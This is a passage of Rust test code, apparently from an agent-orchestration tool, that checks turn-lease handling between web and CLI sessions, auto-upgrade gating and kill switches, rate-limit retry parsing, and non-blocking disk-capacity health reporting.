22044        .with_worktrees_root(home.path().join("wt"));
22045        let id = "20260901-000000-cross";
22046
22047        let other = Talks::at(home.path().join("talks"))
22048            .claim_turn(id)
22049            .expect("claim")
22050            .expect("the other process wins");
22051        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22052        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22053        assert!(
22054            matches!(
22055                ui.begin_talk_turn_unless_pending(id).expect("start"),
22056                TalkTurnStart::Foreign
22057            ),
22058            "a foreign holder is refused, not queued behind"
22059        );
22060        assert!(
22061            !ui.talk_turns.lock().unwrap().live.contains(id),
22062            "a refused claim leaves no in-process entry behind"
22063        );
22064        drop(other);
22065        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22066        assert!(talks.turn_held(id), "the web turn holds the lease");
22067        drop(turn);
22068        assert!(
22069            !talks.turn_held(id),
22070            "dropping the guard releases the lease"
22071        );
22072    }
22073
22074    fn consult_question(ui: &Ui) -> Question {
22075        let mut q = Question::new(
22076            "20260901-000000-consult".to_owned(),
22077            "implement".to_owned(),
22078            "impl-A".to_owned(),
22079            "Which backend?".to_owned(),
22080            String::new(),
22081            vec!["SQLite".to_owned(), "Redis".to_owned()],
22082        );
22083        ui.questions.put(&mut q).expect("question");
22084        q
22085    }
22086
22087    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22088        (
22089            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22090            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22091        )
22092    }
22093
22094    #[tokio::test]
22095    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22096        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22097        let q = consult_question(&ui);
22098        let talk = ui.talks.get(&id).expect("talk");
22099        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22100        let before = consult_snapshot(&ui, &q, &id);
22101        let cli_talks = Talks::at(ui.home.join("talks"));
22102        assert_eq!(
22103            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22104                .await
22105                .expect("CLI starter"),
22106            crate::consult::Started::Busy
22107        );
22108        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22109        assert!(ui.is_thinking(&id));
22110        drop(guard);
22111        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22112    }
22113
22114    #[tokio::test]
22115    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22116        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22117        let q = consult_question(&ui);
22118        let talk = ui.talks.get(&id).expect("talk");
22119        let started = tmp.path().join("started");
22120        let release = tmp.path().join("release");
22121        let script = tmp.path().join("consult-agent.sh");
22122        std::fs::write(
22123            &script,
22124            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22125        )
22126        .expect("script");
22127        let mut cfg = stub_config();
22128        cfg.agents[0].id = "mock".to_owned();
22129        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22130        cfg.agents[0].env = std::collections::BTreeMap::from([
22131            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22132            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22133        ]);
22134        let questions = ui.questions.clone();
22135        let cli_talks = Talks::at(ui.home.join("talks"));
22136        let cli_q = q.clone();
22137        let turn = tokio::spawn(async move {
22138            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22139        });
22140        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22141            while !started.exists() {
22142                tokio::time::sleep(Duration::from_millis(10)).await;
22143            }
22144        })
22145        .await;
22146        // Always release and join the agent, even if readiness or the web
22147        // request fails, so a failed assertion cannot leave a turn behind.
22148        let refusal = if ready.is_ok() {
22149            let before = consult_snapshot(&ui, &q, &id);
22150            let result = talk_say(
22151                State(Arc::clone(&ui)),
22152                Path(id.clone()),
22153                Ok(Json(NewTalkTurn {
22154                    reply_to: None,
22155                    text: "another message".to_owned(),
22156                    attachments: Vec::new(),
22157                })),
22158            )
22159            .await;
22160            Some((result, before, consult_snapshot(&ui, &q, &id)))
22161        } else {
22162            None
22163        };
22164        std::fs::write(&release, "").expect("release agent");
22165        let done = turn.await.expect("join CLI turn");
22166        ready.expect("agent started before deadline");
22167        let (result, before, after) = refusal.expect("web request");
22168        let error = result.expect_err("web must refuse the CLI's turn");
22169        assert_eq!(error.status, StatusCode::CONFLICT);
22170        assert!(error.message.contains("a turn is already running"));
22171        assert_eq!(
22172            after, before,
22173            "refusal preserves question, draft and history"
22174        );
22175        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22176        let guard = ui
22177            .begin_talk_turn(&id)
22178            .expect("web claim")
22179            .expect("free again");
22180        drop(guard);
22181    }
22182
22183    #[test]
22184    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22185        let home = TempDir::new().expect("temp home");
22186        let talks = Talks::at(home.path().join("talks"));
22187        let ui = Ui::new(
22188            Queue::at(home.path().join("queue")),
22189            Questions::at(home.path().join("questions")),
22190            talks.clone(),
22191            home.path().join("runs"),
22192            home.path().to_path_buf(),
22193            PathBuf::from("/repo"),
22194        )
22195        .with_worktrees_root(home.path().join("wt"));
22196        let id = "20260901-000000-order";
22197        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22198        // Hold the slot mutex so the drop can finish the lease but not the slot.
22199        let slots = ui.talk_turns.lock().unwrap();
22200        let dropper = std::thread::spawn(move || drop(turn));
22201        let start = std::time::Instant::now();
22202        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22203            std::thread::sleep(Duration::from_millis(5));
22204        }
22205        assert!(!talks.turn_held(id), "the lease is released first");
22206        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22207        drop(slots);
22208        dropper.join().expect("join");
22209        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22210    }
22211
22212    #[tokio::test]
22213    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22214        let fx = Fixture::start().await;
22215        let mut beat = crate::daemon::Status::new();
22216        beat.worker_protocol = None;
22217        beat.pid = 4321;
22218        beat.updated_at = jiff::Timestamp::now();
22219        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22220            .expect("publish a heartbeat");
22221
22222        let res = fx.post("/api/upgrade", None).await;
22223        assert_eq!(res.status, 409);
22224    }
22225
22226    /// [`should_spawn_recheck`] must refuse for the same two reasons
22227    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22228    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22229    /// Purely a predicate over config and the environment - no network, no
22230    /// disk, no runtime - so unlike the fixture-based tests around it this
22231    /// one needs neither.
22232    #[test]
22233    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22234        assert!(!should_spawn_recheck(&crate::config::Update {
22235            mode: UpdateMode::Off,
22236            interval: None,
22237            auto_restart: false,
22238        }));
22239
22240        // SAFETY: single-threaded as far as this variable goes, the same
22241        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22242        unsafe {
22243            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22244        }
22245        let killed = should_spawn_recheck(&crate::config::Update {
22246            mode: UpdateMode::Notify,
22247            interval: None,
22248            auto_restart: false,
22249        });
22250        unsafe {
22251            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22252        }
22253        assert!(
22254            !killed,
22255            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22256             one-time startup check"
22257        );
22258
22259        assert!(should_spawn_recheck(&crate::config::Update {
22260            mode: UpdateMode::Notify,
22261            interval: None,
22262            auto_restart: false,
22263        }));
22264    }
22265
22266    /// [`recheck_poll_period`] must track a configured `[update] interval`
22267    /// shorter than its own default ceiling - a fixed sleep here would leave
22268    /// an operator's short interval waiting on the next wake-up instead of on
22269    /// `should_check`, which is the same bug this whole task exists to fix,
22270    /// just one level down.
22271    #[test]
22272    fn recheck_poll_period_tracks_a_short_configured_interval() {
22273        let short = crate::config::Update {
22274            mode: UpdateMode::Notify,
22275            interval: Some("1m".to_owned()),
22276            auto_restart: false,
22277        };
22278        let period = recheck_poll_period(&short);
22279        assert!(
22280            period <= Duration::from_secs(30),
22281            "a one-minute interval must wake the task far sooner than the \
22282             default ceiling, or the deck would not notice within the \
22283             interval the operator configured: got {period:?}"
22284        );
22285
22286        let default = crate::config::Update {
22287            mode: UpdateMode::Notify,
22288            interval: None,
22289            auto_restart: false,
22290        };
22291        assert_eq!(
22292            recheck_poll_period(&default),
22293            UPDATE_RECHECK_POLL_MAX,
22294            "the default day-long interval should poll at the (capped) \
22295             ceiling rather than needlessly often"
22296        );
22297    }
22298
22299    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22300    /// same throttle `updater::Checker::should_check` already gives the
22301    /// CLI's notify mode. Built over an explicit state file via
22302    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22303    /// write the operator's real `last_update_check.json` - and therefore
22304    /// cannot flake on whatever that file happens to say on the machine
22305    /// running the test.
22306    #[test]
22307    fn recheck_skips_the_network_before_the_interval_elapses() {
22308        let dir = TempDir::new().expect("temp dir");
22309        let path = dir.path().join("state.json");
22310        let state = kaishin::UpdateCheckState {
22311            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22312            last_known_latest: None,
22313            last_known_url: None,
22314        };
22315        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22316
22317        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22318        assert!(
22319            !update_recheck_due(&checker, None),
22320            "a check made moments ago must not be repeated before the \
22321             configured interval elapses"
22322        );
22323    }
22324
22325    /// An upgrade this deck already started must not be raced by a recheck
22326    /// that discovers a newer release mid-install - regardless of what
22327    /// `should_check` says, which is why the state file here is missing
22328    /// entirely: read alone, that alone would answer "never checked, go
22329    /// ahead".
22330    #[test]
22331    fn recheck_defers_to_an_upgrade_already_in_flight() {
22332        let dir = TempDir::new().expect("temp dir");
22333        let path = dir.path().join("state.json");
22334        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22335        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22336
22337        assert!(
22338            !update_recheck_due(&checker, Some(&progress)),
22339            "a recheck must not run while an upgrade this deck started is \
22340             still moving"
22341        );
22342    }
22343
22344    #[tokio::test]
22345    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22346        // The same env var the background check honours (`disabled_by_env`)
22347        // must also stop a button press before it ever calls
22348        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22349        // means "never contact GitHub from this process", and a tap on the
22350        // upgrade button must not override that any more than a broken
22351        // `magi.toml` may. Left unset, this fixture's default config would
22352        // otherwise reach a real, unauthenticated GitHub call.
22353        //
22354        // SAFETY: single-threaded as far as this variable goes - nothing else
22355        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22356        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22357        unsafe {
22358            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22359        }
22360        let fx = Fixture::start().await;
22361        let res = fx.post("/api/upgrade", None).await;
22362        unsafe {
22363            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22364        }
22365        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22366        let body = res.json();
22367        assert!(body["to"].is_null(), "there was no release to move to");
22368        assert!(body["parked"].is_null(), "and nothing was parked");
22369        assert!(
22370            body["detail"]
22371                .as_str()
22372                .unwrap()
22373                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22374            "{body:?}"
22375        );
22376    }
22377
22378    #[test]
22379    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22380        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22381        let mut cfg = Update::default();
22382        assert!(matches!(
22383            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22384            Skip(_)
22385        ));
22386        cfg.auto_restart = true;
22387        assert_eq!(
22388            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22389            Trigger
22390        );
22391        assert_eq!(
22392            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22393            Wait
22394        );
22395        for (disabled, moving, failed) in [
22396            (true, false, None),
22397            (false, true, None),
22398            (false, false, Some("v2")),
22399        ] {
22400            assert!(matches!(
22401                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22402                Skip(_)
22403            ));
22404        }
22405        assert_eq!(
22406            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22407            Trigger
22408        );
22409        cfg.mode = UpdateMode::Off;
22410        assert!(matches!(
22411            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22412            Skip(_)
22413        ));
22414    }
22415
22416    #[test]
22417    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22418        let home = TempDir::new().unwrap();
22419        let ui = idle_ui(&home);
22420        assert!(!ui.auto_upgrade_busy());
22421        let directory = home.path().join("workers/jobs/abcdef");
22422        std::fs::create_dir_all(&directory).unwrap();
22423        let mut job = crate::worker::Job {
22424            id: "abcdef".into(),
22425            sequence: 1,
22426            kind: "scheduler".into(),
22427            key: "scheduler".into(),
22428            payload: serde_json::json!({}),
22429            generation: "test".into(),
22430            version: None,
22431            status: crate::worker::Status::Running,
22432            result: None,
22433            pid: None,
22434            created_at: 0,
22435            finished_at: None,
22436        };
22437        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22438        let write = |job: &crate::worker::Job| {
22439            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22440        };
22441        write(&job);
22442        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22443        for kind in ["task", "chat"] {
22444            job.kind = kind.into();
22445            write(&job);
22446            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22447        }
22448        drop(lease);
22449        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22450        // the descriptor. Check the real decision directly: a raw flock probe
22451        // here could itself be inherited and keep the worker looking busy.
22452        assert!(
22453            !ui.auto_upgrade_busy(),
22454            "completed execution permits updates"
22455        );
22456        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22457        assert!(
22458            ui.auto_upgrade_busy(),
22459            "unreadable worker state defers updates"
22460        );
22461    }
22462
22463    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22464        Box::pin(async { anyhow::bail!("test installer failed") })
22465    }
22466
22467    #[tokio::test]
22468    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22469        let home = TempDir::new().unwrap();
22470        std::fs::write(
22471            home.path().join("magi.toml"),
22472            "[update]\nauto_restart = true\n",
22473        )
22474        .unwrap();
22475        let mut ui = idle_ui(&home);
22476        ui.repo = home.path().to_path_buf();
22477        // Every successful trigger in this test uses this seam, never the installer.
22478        ui.upgrade_runner = fail_test_upgrade;
22479        let ui = Arc::new(ui);
22480        let latest = || {
22481            Some(kaishin::LatestRelease {
22482                tag_name: "v999.0.0".into(),
22483                html_url: String::new(),
22484            })
22485        };
22486        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22487        assert_eq!(
22488            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22489                .await
22490                .status(),
22491            StatusCode::NO_CONTENT
22492        );
22493        assert!(updater::read_progress(home.path()).is_none());
22494        ui.talk_turns.lock().unwrap().live.clear();
22495        let gate = ui.upgrade_gate.lock().await;
22496        assert_eq!(
22497            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22498                .await
22499                .status(),
22500            StatusCode::CONFLICT
22501        );
22502        drop(gate);
22503        assert_eq!(
22504            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22505                .await
22506                .status(),
22507            StatusCode::ACCEPTED
22508        );
22509        let progress = updater::read_progress(home.path()).unwrap();
22510        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22511        assert_eq!(progress.stage, updater::Stage::Downloading);
22512        assert!(progress.parked_run.is_none());
22513        assert!(ui.start_detached_loop().await.is_err());
22514        assert!(ui.start_loop(None).is_err());
22515        assert!(ui.begin_resume("late").is_err());
22516        tokio::time::timeout(Duration::from_secs(2), async {
22517            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22518                tokio::task::yield_now().await;
22519            }
22520        })
22521        .await
22522        .unwrap();
22523        let progress = updater::read_progress(home.path()).unwrap();
22524        assert_eq!(progress.stage, updater::Stage::Failed);
22525        assert_eq!(
22526            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22527                .await
22528                .status(),
22529            StatusCode::NO_CONTENT
22530        );
22531        // The manual shared path records the same progress and runs the same seam.
22532        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22533        assert_eq!(
22534            finish_upgrade_request(&ui, result).status(),
22535            StatusCode::ACCEPTED
22536        );
22537        assert_eq!(
22538            updater::read_progress(home.path()).unwrap().trigger,
22539            updater::UpgradeTrigger::Manual
22540        );
22541        tokio::time::timeout(Duration::from_secs(2), async {
22542            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22543                tokio::task::yield_now().await;
22544            }
22545        })
22546        .await
22547        .unwrap();
22548    }
22549
22550    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22551        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22552        p.stage = stage;
22553        p
22554    }
22555
22556    #[test]
22557    fn busy_stages_match_the_ui_set() {
22558        use crate::updater::Stage;
22559        assert!(APP_JS.contains(
22560            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22561        ));
22562        for s in [
22563            Stage::Downloading,
22564            Stage::Replaced,
22565            Stage::Parking,
22566            Stage::Restarting,
22567        ] {
22568            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22569        }
22570        for s in [Stage::Done, Stage::Failed] {
22571            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22572        }
22573        assert!(upgrade_in_motion(None).is_none());
22574    }
22575
22576    #[tokio::test]
22577    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22578        use crate::updater::Stage;
22579        for stage in [
22580            Stage::Downloading,
22581            Stage::Replaced,
22582            Stage::Parking,
22583            Stage::Restarting,
22584        ] {
22585            let fx = Fixture::start().await;
22586            let seeded = seeded_progress(stage);
22587            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22588            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22589                .expect("read");
22590
22591            let res = fx.post("/api/upgrade", None).await;
22592            assert_eq!(res.status, 409, "{stage:?}");
22593            let err = res.json()["error"].as_str().unwrap().to_owned();
22594            assert!(err.contains("already in progress"), "{err}");
22595            assert!(err.contains(stage.as_str()), "{err}");
22596
22597            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22598                .expect("read");
22599            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22600            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22601                .unwrap_or_default();
22602            assert!(!log.contains("signalling HANDOVER"), "{log}");
22603        }
22604    }
22605
22606    #[test]
22607    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22608        assert_eq!(
22609            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22610            Some(3723)
22611        );
22612        assert_eq!(
22613            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22614            Some(60)
22615        );
22616        assert_eq!(
22617            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22618            Some(0)
22619        );
22620        for message in [
22621            "permission denied",
22622            "GitHub API rate limit exceeded",
22623            "GitHub rate limit (resets in unknown)",
22624            "GitHub rate limit (resets in 18446744073709551615d)",
22625        ] {
22626            assert_eq!(upgrade_retry_after(message), None, "{message}");
22627        }
22628    }
22629
22630    #[tokio::test]
22631    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22632        let home = TempDir::new().unwrap();
22633        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22634        ui.start_loop(None).unwrap();
22635        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22636        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22637        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22638        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22639        let response = finish_upgrade_request(&ui, result);
22640        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22641        assert_eq!(response.headers()["retry-after"], "120");
22642        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22643            .await
22644            .unwrap();
22645        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22646        assert!(body["error"].as_str().unwrap().contains(reason));
22647        assert_eq!(body["retry_after_secs"], 120);
22648        assert!(body["retry_at"].as_u64().is_some());
22649        for _ in 0..2 {
22650            let view = health(State(ui.clone())).await.unwrap().0;
22651            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22652            assert_eq!(failure, body);
22653        }
22654        assert_eq!(
22655            std::fs::read(updater::progress_path(home.path())).unwrap(),
22656            before
22657        );
22658        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22659        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22660        // A conflicting request must not erase the actionable earlier failure.
22661        let gate = ui.upgrade_gate.lock().await;
22662        assert_eq!(
22663            upgrade_post(State(ui.clone())).await.status(),
22664            StatusCode::CONFLICT
22665        );
22666        drop(gate);
22667        assert!(
22668            health(State(ui.clone()))
22669                .await
22670                .unwrap()
22671                .0
22672                .upgrade_request_error
22673                .is_some()
22674        );
22675        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22676        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22677        assert!(
22678            health(State(ui.clone()))
22679                .await
22680                .unwrap()
22681                .0
22682                .upgrade_request_error
22683                .is_none()
22684        );
22685        let live = ui.lock_loop().live.take().unwrap();
22686        live.stop.stop();
22687        live.handle.await.unwrap();
22688    }
22689
22690    #[tokio::test]
22691    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22692        use crate::updater::Stage;
22693        let repo = TempDir::new().expect("repo dir");
22694        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22695            .expect("write magi.toml");
22696        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22697        for stage in [Stage::Done, Stage::Failed] {
22698            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22699            let res = fx.post("/api/upgrade", None).await;
22700            assert_eq!(res.status, 200, "{stage:?}");
22701        }
22702        // No record at all, and the gate was released by the earlier calls.
22703        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22704        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22705    }
22706
22707    #[tokio::test]
22708    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22709        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22710        // and the route answers from its own logic.
22711        //
22712        // This test used to lean on the fixture's placeholder repo failing
22713        // config discovery, which left `mode = "notify"` - and a live,
22714        // unauthenticated call to the GitHub releases API inside a unit test.
22715        // GitHub allows 60 of those an hour per address, so the suite went red
22716        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22717        // long as somebody kept re-running it: every attempt spent another
22718        // request. Six reruns across four pull requests were charged to that
22719        // before it was read as a rate limit rather than a flake.
22720        //
22721        // What the assertion is about is the "already current" branch, which
22722        // is reached by there being no newer release *or* nowhere to look. The
22723        // second one needs no network and cannot be rate limited.
22724        let repo = TempDir::new().expect("repo dir");
22725        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22726            .expect("write magi.toml");
22727        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22728
22729        // It must answer 200 and leave the process alone: restarting for an
22730        // upgrade that did not happen parks the run in flight and drops every
22731        // connection to pay for nothing. A probe against a deck already on the
22732        // newest build did exactly that, which is how this case got its own
22733        // branch.
22734        let res = fx.post("/api/upgrade", None).await;
22735        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22736        let body = res.json();
22737        assert!(body["to"].is_null(), "there was no release to move to");
22738        assert!(body["parked"].is_null(), "and nothing was parked");
22739        assert!(
22740            body["detail"]
22741                .as_str()
22742                .unwrap()
22743                .contains("nothing restarted"),
22744            "{body:?}"
22745        );
22746    }
22747
22748    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22749        tokio::time::timeout(Duration::from_secs(5), async {
22750            while state.lock().unwrap().in_flight {
22751                tokio::task::yield_now().await;
22752            }
22753        })
22754        .await
22755        .expect("capacity scan finished");
22756    }
22757
22758    fn disk_test_scope(home: &FsPath) -> DiskScope {
22759        DiskScope {
22760            runs: home.join("runs"),
22761            worktrees: home.join("worktrees"),
22762            cache: Some(home.join("cache")),
22763        }
22764    }
22765
22766    fn known_disk_capacity() -> DiskCapacity {
22767        DiskCapacity {
22768            free_bytes: Some(100),
22769            runs_bytes: Some(200),
22770            worktrees_bytes: Some(300),
22771            cache_bytes: Some(400),
22772        }
22773    }
22774
22775    #[tokio::test]
22776    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22777        let home = TempDir::new().unwrap();
22778        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22779        let mut ui = delta_test_ui(home.path());
22780        let state = Arc::get_mut(&mut ui).unwrap();
22781        state.repo = home.path().to_owned();
22782        state.worktrees_root = home.path().join("worktrees");
22783        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22784        ui.monitor
22785            .worker_started
22786            .store(true, std::sync::atomic::Ordering::SeqCst);
22787        let cfg = deputy_config(&ui.repo);
22788        let scope = DiskScope::of(&ui, cfg.as_ref());
22789        let (started, reached) = tokio::sync::oneshot::channel();
22790        let (release, blocked) = std::sync::mpsc::channel();
22791        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22792            started.send(()).unwrap();
22793            blocked.recv().unwrap();
22794            known_disk_capacity()
22795        });
22796        assert!(cold.runs_bytes.is_none());
22797        tokio::time::timeout(Duration::from_secs(5), reached)
22798            .await
22799            .unwrap()
22800            .unwrap();
22801
22802        let requests: Vec<_> = (0..4)
22803            .map(|_| {
22804                let ui = ui.clone();
22805                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22806            })
22807            .collect();
22808        tokio::time::timeout(Duration::from_secs(5), async {
22809            for request in requests {
22810                let view = request.await.unwrap();
22811                let disk = serde_json::to_value(view.disk).unwrap();
22812                assert!(disk["runs_bytes"].is_null());
22813                assert!(disk["worktrees_bytes"].is_null());
22814                // Free space is a cheap live observation even while the
22815                // recursive capacity measurement remains blocked.
22816                assert!(disk["free_bytes"].is_u64());
22817            }
22818        })
22819        .await
22820        .expect("health must return while the measurement is causally blocked");
22821        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22822        // No competing worker can have published while the first holds flight.
22823        assert!(
22824            ui.monitor
22825                .disk
22826                .lock()
22827                .unwrap()
22828                .capacity
22829                .runs_bytes
22830                .is_none()
22831        );
22832        release.send(()).unwrap();
22833        wait_for_disk_scan(&ui.monitor.disk).await;
22834        assert_eq!(
22835            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22836            Some(200)
22837        );
22838    }
22839
22840    #[tokio::test]
22841    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22842        let home = TempDir::new().unwrap();
22843        let scope = disk_test_scope(home.path());
22844        let state = Arc::new(Mutex::new(DiskObservation {
22845            scope: Some(scope.clone()),
22846            capacity: known_disk_capacity(),
22847            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22848            ..Default::default()
22849        }));
22850        let (started, reached) = tokio::sync::oneshot::channel();
22851        let (release, blocked) = std::sync::mpsc::channel();
22852        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22853            started.send(()).unwrap();
22854            blocked.recv().unwrap();
22855            DiskCapacity {
22856                runs_bytes: Some(250),
22857                ..Default::default()
22858            }
22859        });
22860        assert_eq!(before.cache_bytes, Some(400));
22861        tokio::time::timeout(Duration::from_secs(5), reached)
22862            .await
22863            .unwrap()
22864            .unwrap();
22865        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22866        for _ in 0..4 {
22867            let scans = duplicate_scans.clone();
22868            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22869                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22870                DiskCapacity::default()
22871            });
22872            assert_eq!(during.runs_bytes, Some(200));
22873            assert_eq!(during.cache_bytes, Some(400));
22874        }
22875        release.send(()).unwrap();
22876        wait_for_disk_scan(&state).await;
22877        let scans = duplicate_scans.clone();
22878        let after = DiskObservation::observe(&state, scope, move |_| {
22879            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22880            DiskCapacity::default()
22881        });
22882        wait_for_disk_scan(&state).await;
22883        assert_eq!(after.runs_bytes, Some(250));
22884        assert_eq!(after.free_bytes, Some(100));
22885        assert_eq!(after.cache_bytes, Some(400));
